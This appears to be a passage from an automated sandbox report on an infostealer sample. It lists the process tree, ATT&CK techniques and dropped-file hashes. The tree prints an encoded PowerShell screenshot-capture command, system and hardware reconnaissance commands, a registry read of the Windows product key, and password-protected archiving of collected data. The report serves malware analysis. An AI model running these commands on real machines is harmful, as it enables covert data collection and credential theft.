    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2836
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pdfj4t32\pdfj4t32.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4692
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB2AC.tmp" "c:\Users\Admin\AppData\Local\Temp\pdfj4t32\CSC9CC4F8BE3844B39AF4CFC18BFC7DA6.TMP"
        6⤵
        
        PID:1944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1228
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3696
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI51922\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\hjcca.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5264
  - - C:\Users\Admin\AppData\Local\Temp\_MEI51922\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI51922\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\hjcca.zip" *
      4⤵
      Executes dropped EXE
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6140
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9cf072ce456cb29f373b44d8e5dbb03000a149f8b6354f2b13cf6be0309e2347
MD5 4ac3d96cf16bf29d9eb39c18d3a154cb
SHA1 2f28346d4776b3c2498f7427109e7723bdf8cb9b
SHA512 d36668f28560d2e9f4f8d78be8c608250a4efe4f202f18f77f8e5b4d12f062d79c93601d9aa2ee9f27c43aa1555268ec2d03e22d4f19166204d86f86b5663b0f
TLSH
T1EE215433B3CD8225D899403A50CEAC1036B597DB80DECE5BAB84D554F43F6A9CE606A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c10be9ffbbfc652ea1783e27f41e858d63ab8e7c4dd18d71b58313e3c7c96b50
MD5 9497238047b20589db06df1eb0387f04
SHA1 e8363a34411016d892aa5b035ad990eef9e416b4
SHA512 e07df0a98324b598fe0bd3f9fd48be3c5d5e6042d3327dc3362031b24412373ffbd44b1b8f18ef76d64a2eaecf826a7944b85cdebf4ca2d0801a80fa07d171a6
TLSH
T1BA216A33B3CC8615D899403A40CEAC1437B5D7DB80DECE5BAB85D548B43F589CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

RESB2AC.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB2AC.tmp
Size 1KB
SHA256 f71f0918a71eb5ebeb9a5e2bf6c23f0ae4d2a5d58db1e9314f2a6dbee2909068
MD5 47937089886d94ba9d8b14ad710cc633
SHA1 ccf26eb65205df8d905cb193553dce470786d24d
SHA512 2b385c2c2bca9c7b8f5e959bcee5b1c9ee96fe8a1f4e35c1ebafe3aeb9399cd353af2095032d6de784a152e487ca9e42f3797cdb9d38dd52f6094e9fff7b7bb8
TLSH
T15121C00553E8431FF0B347326DF9431FA234FD65EF61976A8940422C2C51244EEB0B72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI51922\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI51922\VCRUNTIME140_1.dll
Size 48KB
SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
MD5 bbfa92d8173376c972fd58dcf5ca6aaa
SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
TLSH
T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI51922\_bz2.pyd
Size 51KB
SHA256 f3b6866898dcc0edeb3bad6b935974f059cd2a9254603d1f766d892cb3bdb457
MD5 3ffba544fb6b6e9cd661e089101edf6c
SHA1 69650c3a744b47dbbe272daef561ef201298abc4
SHA512 1713a27861e56f258e0beff4651a0bfe05623f2175bb40204680d612c1686938dc7aa3676da9511a2685f37f1bbab7d0f427050c528247dec1d0e93be6a046ae
SSDEEP 1536:+grRnv1oCAhFJdAFJm0OnIp3V17yPs5i9EfIY+8i:HV+C/mhIp3V14V
TLSH
T18A33D0CB0AB48096D7635DB261B0E943FA35ABD3A410979630DD724E0E6B7D1A313369
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI51922\_ctypes.pyd
Size 67KB
SHA256 f5c39d33d5e626f790e55846021017e8cb06a78315a9b0dcaec96875ea583bdc
MD5 dccfd9009cf8cdd62a2a2d0741a88a79
SHA1 112096a0a02b26c4ad57f47e028176c110815e99
SHA512 725762277f9cd4003f4bea6f6a19c3e51a9dd9f4d79c404e86423b1e02b67d281ba6b5d7e83b4d38d5db572571d845fe3c01a9420f28c112984275caeb24e700
SSDEEP 1536:IGsidR9UsG6C+QTu1a4Q+3JnzwjGBPLjyIpGPiWyPs5i90fIYHD:I/IPG6/85+Z8jGtLuIpGPi1S
TLSH
T1F063E0CE427D9191F7531630B2F4DC93FE385BD364621B6E30E991AA09AB3C2A707265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI51922\_hashlib.pyd
Size 38KB
SHA256 26d9d20a3c7bbc62b2a430e4df19bd83335b17cda45da4adcac6bc3e00c731f5
MD5 05c0cd12d66b1f2a14beb8a9a5eb4cdb
SHA1 e092c523de83ce281a410b89f9c421bbb66b1409
SHA512 7a4873d1b0d04bdd648a870411b2dc0ca1b1f667e895d097aab355039af95c64630a30639f4b56de79107c4e59a7fe802ed5d2a24dff758637852a7ea4b92245
SSDEEP 768:OFzCaLH2eWtTkvVE9k6p2vZ+5EApaBIpDIAOyPsSvPuBL2Ip4NTxf1ml9dHH7LM:0CHPp2vMuBIpDIAOyPs5i9nfIbHHnM
TLSH
T12C03AFC64638D012FBA3A9B172E0DDC2FE34A7A3545257BB30E9A2D51E633C0D727265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI51922\_lzma.pyd
Size 88KB
SHA256 4341f36a310038d57a789dc16ef7323c9016ed24c954d05f07b1a69ae3aed70d
MD5 e3f9d2a7cde2bfdb0d8fb2c578b6eac7
SHA1 7ed8f1465964d5f8c65949fe9851d2af9b702a99
SHA512 764a0721caea76977b5ade2b6b36fbaf5dbacc6049dfdb53f6135a8ffe169d31a66645bbf5b1b88def2551dd19ffa36112a8dfbcd83f29b001204c19d2bc372a
SSDEEP 1536:NbCORtk/GFJL/D1c0VkwjHnOFm9b/uko4J3b4ohwTpC3dIpI1ihyPs5i9OQfIY29:IORuGFt/HkG/G4J3b4GwTpCtIpI1iLx1
TLSH
T1FA9302DBC7F88063FE636D3071F5CA82793557EB622687A314DE71520E223C5A3A3265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI51922\_queue.pyd
Size 28KB
SHA256 94c97f4d6e22c1de3c3f2fde590eed1b9a8968e0d094a5d68676ba48a7de6194
MD5 e515e43892aeadebb9520e1fddf8eed8
SHA1 9423659a1720aabdf10bae04ac427b355c990748
SHA512 e93127fd331f947960da280ba3de3b6994d3abcecfa692771a110a3bccec8e11ae3945eafd8aaf70ae4367aa1e647a149abb3c9a1b04ea8bfbe45b1f54a72d2d
SSDEEP 768:b2YI3si/fuHLEHTtpCPIpRUA3yPsSvPuBL2Ip4uTxf1mlRaXN61k:bpH/PIpRUA3yPs5i9ufIYNh
TLSH
T170D29ED64678C026FA32AE7162F4DD83FA357BD36810876730EDA1AA0E633D1D317265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI51922\_socket.pyd
Size 46KB
SHA256 b289c0795f859042c5d9c285d1344f294e1948c7974fe6cab4fbfef8f3dff483
MD5 a492b1eb2e3e773e2878ac0583106c71
SHA1 faaff400d02fa3d453a30fd9eb04b282efe49071
SHA512 04d17591a2ffad2acd806cf02584eb9fa666813e3a4ab6e25028f0c4c353c5284acb64faf30f210fd84054337e029d1dcbcc09d41a144ec595b655af7c7ec332
SSDEEP 768:WlRvR/zcKTGGtU7gujesZiZJx2u/Y6dlwWIefwptq2IpGw1YtnyPsSvPuBL2Ip4Y:uvRYKTGooe4ifT/hdlw+fqq2IpGw1Anh
TLSH
T1B823BFE70268E056EAB39F7262A4D9C3F6B87FA310565727309DA1960E733C19B05329
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

